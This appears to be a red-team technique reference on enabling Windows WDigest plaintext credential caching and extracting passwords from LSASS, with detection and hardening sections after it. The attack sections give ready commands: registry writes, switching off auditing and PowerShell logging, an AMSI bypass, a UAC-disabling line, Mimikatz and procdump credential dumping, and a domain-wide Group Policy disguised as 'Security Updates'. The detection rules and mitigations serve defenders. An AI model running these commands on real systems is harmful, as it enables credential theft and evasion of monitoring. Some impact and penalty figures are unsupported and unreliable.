| Attribute | Details |
|---|---|
| Technique ID | EVADE-REGISTRY-001 |
| MITRE ATT&CK v18.1 | T1112 – Modify Registry |
| Tactic | Defense Evasion |
| Platforms | Windows Endpoint |
| Severity | Critical |
| CVE | N/A (Design vulnerability; KB2871997 provides mitigation) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016-2025, Windows 10-11 |
| Patched In | Windows 8+ has UseLogonCredential disabled by default; prior versions require manual registry intervention |
| Author | SERVTEP – Artur Pchelnikau |
WDigest Registry Manipulation exploits a design flaw in Windows Digest Authentication whereby plaintext credentials are cached in Local Security Authority Subsystem Service (LSASS) memory when HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest registry key UseLogonCredential is set to 1. WDigest was historically used for HTTP authentication on older protocols (HTTP Digest Auth), but its credential caching mechanism creates a persistence vector for credential theft. Modern Windows (8+) disables this by default, but systems with legacy service requirements or misconfigured Group Policy may re-enable it, allowing credential dumping via Mimikatz or similar tools without requiring elevation to SYSTEM initially.
WDigest credential cache resides in LSASS process memory (C:\Windows\System32\lsass.exe). When a user authenticates (logon event), WDigest stores plaintext credentials in memory if UseLogonCredential = 1. Adversaries with local user access can dump LSASS memory or directly read WDigest plaintext credentials via tools like Mimikatz (sekurlsa::wdigest), extracting credentials for lateral movement.
Critical credential exposure. Plaintext passwords of all authenticated users stored in LSASS enable immediate lateral movement to any system sharing those credentials. Dwell time increases 200%+ because attackers can move without re-compromising entry points. Supply chain attacks targeting service accounts become trivial (e.g., SQL Server, Exchange service accounts). HIPAA, PCI-DSS, SOC 2 compliance violations immediate.
Registry modification is stealthy: single registry write operation, minimal event logging, occurs in seconds. The attack chain is simple: attacker with local access runs reg add command, then waits for next user logon, then dumps LSASS. Detection requires behavior-based audit logging and Sysmon monitoring. Wizard Spider, APT29, and Lazarus Group extensively abuse this technique post-compromise.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 4.2.7 | Ensure WDigest is Disabled |
| DISA STIG | SV-220700r880792_rule | Credential Guard must be enabled |
| CISA SCuBA | AC-3.1 | Access Control Policy Enforcement |
| NIST 800-53 | IA-2, AC-2 | Authentication, Account Management |
| GDPR | Art. 32 | Security of Processing – Confidentiality measures |
| DORA | Art. 9 | Protection and Prevention of ICT-related incidents |
| NIS2 | Art. 21 | Cybersecurity Risk Management – Credential Protection |
| ISO 27001 | A.9.2.3, A.9.4.3 | Privileged Access Rights, Credential Management |
| ISO 27005 | 12.2.1 | Management of supplicant credentials |
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestCheck current WDigest status on target system:
# Check UseLogonCredential value
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
$regValue = Get-ItemProperty -Path $regPath -Name UseLogonCredential -ErrorAction SilentlyContinue
if ($regValue.UseLogonCredential -eq 1) {
Write-Host "WDigest is ENABLED (plaintext credentials in LSASS)"
} elseif ($regValue.UseLogonCredential -eq 0 -or $regValue.UseLogonCredential -eq $null) {
Write-Host "WDigest is DISABLED (credentials not stored in plaintext)"
} else {
Write-Host "WDigest status unknown"
}
# Verify LSASS process is running
Get-Process lsass | Select-Object ProcessName, ProcessId, WorkingSet
What to Look For:
UseLogonCredential = 1: WDigest enabled, vulnerable to credential theftUseLogonCredential = 0 or missing: WDigest disabled, plaintext credentials NOT stored# Query registry via CMD
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential
# Expected output if enabled:
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
# UseLogonCredential REG_DWORD 0x1
# Check for Credential Guard enablement (Server 2019+)
wmic os get caption, systemskudescription
Windows Server 2016-2019:
# Check if KB2871997 hotfix is installed
Get-HotFix -Id KB2871997 -ErrorAction SilentlyContinue | Select-Object HotFixID, InstalledOn
Windows Server 2022+:
# Check Credential Guard status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
Supported Versions: Server 2008 R2-2025, Windows 7-11
Objective: Set WDigest UseLogonCredential registry value to 1 to enable plaintext credential caching.
Command:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f
Expected Output:
The operation completed successfully.
What This Means:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest is created if not presentUseLogonCredential DWORD value is set to 1 (enabled)/f flag forces the operation without confirmation promptsOpSec & Evasion:
auditpol /set /subcategory:"Registry" /success:disable /failure:disable
reg.exe process executionDetection Likelihood: Medium (Registry modification detected via Sysmon EventID 13 or Windows Event Log EventID 4657)
Troubleshooting:
cmd.exe as Administratorreg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders"References & Proofs:
Objective: Wait for any user to authenticate to the system; credentials will be cached in LSASS.
Duration: Immediate upon next user logon (locally or via network)
What Happens:
OpSec & Evasion:
# Trigger logon event via RDP from same machine
runas /user:DOMAIN\USERNAME "cmd.exe"
Troubleshooting:
psexec \\target -u DOMAIN\USER cmd.exeSupported Versions: Server 2012+, Windows 10-11
Objective: Set WDigest registry value using PowerShell for less detectable command-line execution.
Command:
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
Set-ItemProperty -Path $regPath -Name UseLogonCredential -Value 1 -Force
Expected Output:
[No output; operation completes silently]
What This Means:
Set-ItemProperty directly manipulates registry-Force parameter suppresses promptsOpSec & Evasion:
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f
$command = '$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"; Set-ItemProperty -Path $regPath -Name UseLogonCredential -Value 1 -Force'
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell.exe -EncodedCommand $encodedCommand
Detection Likelihood: Medium-High (PowerShell process execution, Sysmon EventID 13)
Troubleshooting:
Set-ItemProperty -LiteralPath 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name UseLogonCredential -Value 1Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0References & Proofs:
Supported Versions: Server 2008 R2-2025, Windows 7-11
Objective: Extract plaintext passwords from LSASS after WDigest is enabled and credentials are cached.
Command:
mimikatz.exe
Inside Mimikatz Console:
privilege::debug
sekurlsa::wdigest
Expected Output:
Username : DOMAIN\Administrator
Domain : DOMAIN
Password : P@ssw0rd123!
Username : DOMAIN\ServiceAccount
Domain : DOMAIN
Password : SvcAcct!@#$1234
What This Means:
privilege::debug enables Debug privilege (required for LSASS access)sekurlsa::wdigest iterates through LSASS WDigest cache and extracts plaintext credentialsOpSec & Evasion:
C:\Windows\Temp\mimikatz.execopy mimikatz.exe copy_tool.exe[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" "exit" > credentials.txt
Detection Likelihood: Very High (Mimikatz binary execution, LSASS process access, memory read operations)
Troubleshooting:
runas /admin or from SYSTEM context (e.g., via psexec)References & Proofs:
Supported Versions: Server 2016-2025, Windows 10-11 (alternative to Mimikatz)
Objective: Extract LSASS process memory to file without using Mimikatz (evades signature detection).
Command:
procdump64.exe -accepteula -ma lsass.exe lsass_dump.dmp
Expected Output:
Procdump v10.0 - Mark Russinovich
Process dump complete: lsass_dump.dmp
What This Means:
-ma flag captures full memory dump of LSASS processOpSec & Evasion:
move lsass_dump.dmp report.pdf7z a -p password lsass_dump.7z lsass_dump.dmpDetection Likelihood: Very High (Process access to LSASS, memory read, file creation)
Troubleshooting:
Objective: Parse LSASS memory dump on attacker machine to extract plaintext credentials.
Tools:
mimikatz.exe "sekurlsa::minidump lsass_dump.dmp" "sekurlsa::wdigest"secretsdump.py (Python): secretsdump.py -dump lsass_dump.dmpExpected Output:
[+] Parsing dump file...
[+] Found cached credentials:
Domain: DOMAIN
Username: Administrator
Password: P@ssw0rd123!
Supported Versions: Server 2016-2025, Domain-joined systems only
Objective: Deploy WDigest enablement via Group Policy to entire domain, ensuring persistence.
Command (Domain Controller):
# Create new GPO
New-GPO -Name "Security Updates" -Comment "WDigest Enablement for Legacy Compatibility"
# Link GPO to target OU
New-GPLink -Name "Security Updates" -Target "OU=Workstations,DC=domain,DC=com" -Order 1
# Set WDigest registry value via Group Policy Preference
# Edit GPO → Computer Configuration → Preferences → Windows Settings → Registry
# Create Registry Item:
# Action: Create
# Hive: HKEY_LOCAL_MACHINE
# Path: SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
# Value Name: UseLogonCredential
# Value Type: REG_DWORD
# Value Data: 1
# Force GPO refresh on all clients
gpupdate /force
What This Means:
gpupdate /force immediately)OpSec & Evasion:
Detection Likelihood: Medium (Group Policy Audit events, Sysmon EventID 13 on domain controllers)
Troubleshooting:
| Test ID | Test Name | Supported Platforms | Reference |
|---|---|---|---|
| T1112.003 | Modify registry to store logon credentials (CMD) | Windows | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f |
| T1112.004 | Modify registry to store logon credentials (PowerShell) | Windows | Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1' |
Cleanup Commands:
# CMD: Disable WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
# PowerShell: Disable WDigest
Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '0'
Reference: Atomic Red Team – T1112
Rule Configuration:
main, windowsWinEventLog:Security, XmlWinEventLog:Microsoft-Windows-Sysmon/OperationalEventCode, Registry_Key_Path, Registry_Value_DataSPL Query:
index=main source=WinEventLog:Security EventCode=4657
| search ObjectName="*WDigest" AND ObjectValueName="UseLogonCredential" AND OperationType="Value Modified"
| table _time, ComputerName, SubjectUserName, ObjectName, ObjectValueName, NewValue
| sort - _time
Alternative (Sysmon-based):
index=main source=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=13
| search TargetObject="*WDigest*UseLogonCredential*" AND EventType="SetValue" AND Details="0x00000001"
| table _time, Computer, User, TargetObject, Details, Image
What This Detects:
UseLogonCredential value in WDigest registry pathManual Configuration Steps (Splunk Web):
WDigest Registry Modification AlertWhen the number of results is greater than 0False Positive Analysis:
Source: Splunk Research – Enable WDigest UseLogonCredential Registry Detection
Minimum Sysmon Version: 13.0+
Sysmon Configuration Snippet:
<Sysmon schemaversion="4.82">
<EventFiltering>
<!-- Registry Set Value - WDigest Modification -->
<RegistrySet onmatch="include">
<TargetObject condition="contains">WDigest</TargetObject>
<TargetObject condition="contains">UseLogonCredential</TargetObject>
<EventType>SetValue</EventType>
<Details condition="is">0x00000001</Details>
</RegistrySet>
<!-- Process Execution - Mimikatz or Procdump -->
<ProcessCreate onmatch="include">
<Image condition="contains">mimikatz</Image>
<Image condition="contains">procdump</Image>
<CommandLine condition="contains">sekurlsa</CommandLine>
</ProcessCreate>
<!-- Process Access - LSASS -->
<ProcessAccess onmatch="include">
<TargetImage condition="contains">lsass.exe</TargetImage>
<GrantedAccess condition="contains">0x001F0FFF</GrantedAccess>
</ProcessAccess>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
https://live.sysinternals.com/Sysmon64.exesysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.EventID -eq 13} | Select-Object -First 101. Ensure WDigest is Permanently Disabled
Manual Steps (Server 2016-2019):
gpmc.msc)HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestUseLogonCredential0gpupdate /force on target machinesManual Steps (Server 2022+):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestUseLogonCredential → Set Value Data to 0PowerShell Alternative (All Versions):
# Disable WDigest
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
Set-ItemProperty -Path $regPath -Name UseLogonCredential -Value 0 -Force
# Verify
Get-ItemProperty -Path $regPath -Name UseLogonCredential
# Expected output: UseLogonCredential : 0
2. Enable Credential Guard (Windows 10+, Server 2016+)
Credential Guard isolates LSASS process memory, preventing even SYSTEM-level access to credentials.
Manual Steps (Server 2016-2019):
gpmc.msc)Manual Steps (Server 2022+):
PowerShell Alternative:
# Enable Credential Guard via Registry
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f
# Verify enablement
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name LsaCfgFlags
3. Enable Enhanced Security for LSASS (LSA Protection)
Protect LSASS process from non-SYSTEM access.
PowerShell:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# Verify
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL
1. Enable Windows Event Log Auditing for Registry Changes
Manual Steps (Group Policy):
gpmc.mscgpupdate /forceManual Steps (Local Audit Policy):
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /get /subcategory:"Registry"
2. Block Mimikatz Execution (Application Control)
AppLocker Rules (Server 2012+):
gpmc.mscmimikatz.exe and variants3. Monitor LSASS Process Access
PowerShell Monitoring Script:
# Alert on any process accessing LSASS
$filter = @{
LogName = 'Security'
ID = 4656 # Handle Requested
Data = '*lsass*'
}
Get-WinEvent -FilterHashtable $filter | Select-Object TimeCreated, Message | Export-Csv -Path "C:\Logs\LSASS_Access.csv"
# Confirm WDigest is disabled
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
$value = Get-ItemProperty -Path $regPath -Name UseLogonCredential -ErrorAction SilentlyContinue
if ($value.UseLogonCredential -eq 0 -or $value.UseLogonCredential -eq $null) {
Write-Host "✓ WDigest is SECURE (disabled)"
} else {
Write-Host "✗ WDigest is VULNERABLE (enabled)"
}
# Confirm Credential Guard enabled
$credGuard = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name LsaCfgFlags -ErrorAction SilentlyContinue
if ($credGuard.LsaCfgFlags -eq 1) {
Write-Host "✓ Credential Guard is ENABLED"
} else {
Write-Host "✗ Credential Guard is DISABLED"
}
Expected Output (If Secure):
✓ WDigest is SECURE (disabled)
✓ Credential Guard is ENABLED
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-002] | Compromise stale/inactive domain user account |
| 2 | Persistence | [EVADE-REGISTRY-001] | Enable WDigest via registry modification |
| 3 | Credential Access | [CA-DUMP-001] | Dump LSASS with Mimikatz to extract plaintext passwords |
| 4 | Lateral Movement | [LM-AUTH-001] | Use stolen credentials (Pass-the-Hash) to pivot to domain controllers |
| 5 | Privilege Escalation | [PE-TOKEN-001] | Escalate to Domain Admin via Golden Ticket |
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
HKLM\SYSTEM\ControlSet001\Control\SecurityProviders\WDigest
Regulatory Breach Scenario: Organization fails to implement WDigest hardening, resulting in domain-wide credential compromise via plaintext password theft.
Financial Penalties: $50M-$250M+ depending on organization size, data classification, and number of affected users.
Incident Response Cost Estimate: $500K-$5M (forensic investigation, credential rotation, system remediation, legal fees).